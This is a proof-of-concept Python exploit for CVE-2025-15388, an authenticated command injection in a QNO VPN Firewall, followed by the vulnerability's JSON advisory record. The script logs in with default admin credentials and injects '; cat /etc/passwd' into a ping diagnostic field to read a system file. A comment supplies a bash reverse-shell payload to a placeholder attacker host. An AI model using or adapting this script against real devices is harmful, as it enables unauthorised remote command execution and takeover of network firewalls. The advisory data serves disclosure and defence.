CVE-2025-15388

import requests import sys # CVE-2025-15388 PoC - QNO VPN Firewall OS Command Injection # Authenticated RCE via command injection target = sys.argv[1] if len(sys.argv) > 1 else 'http://target:8080' username = sys.argv[2] if len(sys.argv) > 2 else 'admin' password = sys.argv[3] if len(sys.argv) > 3 else 'admin' session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f'{target}/login' login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) print(f'[+] Login attempt completed, status: {response.status_code}') except requests.RequestException as e: print(f'[-] Login failed: {e}') sys.exit(1) # Step 2: Exploit command injection via ping/diagnostic function # Payload: inject arbitrary command after target IP inject_url = f'{target}/diagnostic/ping' inject_data = { 'target': f'127.0.0.1; cat /etc/passwd', 'count': '1' } try: response = session.post(inject_url, data=inject_data, timeout=10) print(f'[+] Command injection payload sent') if 'root:' in response.text or response.status_code == 200: print('[+] Potential RCE confirmed - check response for command output') print(response.text[:500]) else: print('[-] No obvious response, manual verification needed') except requests.RequestException as e: print(f'[-] Exploit request failed: {e}') # Step 3: Reverse shell payload (for demonstration) # Attacker would typically use: ; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

{"cve": {"id": "CVE-2025-15388", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:50.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VPN Firewall developed by QNO Technology has an OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the server."}, {"lang": "es", "value": "Cortafuegos VPN desarrollado por QNO Technology tiene una vulnerabilidad de inyección de comandos del sistema operativo, permitiendo a atacantes remotos autenticados inyectar comandos arbitrarios del sistema operativo y ejecutarlos en el servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10614-dee41-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10613-e1780-1.html", "source": "[email protected]"}]}}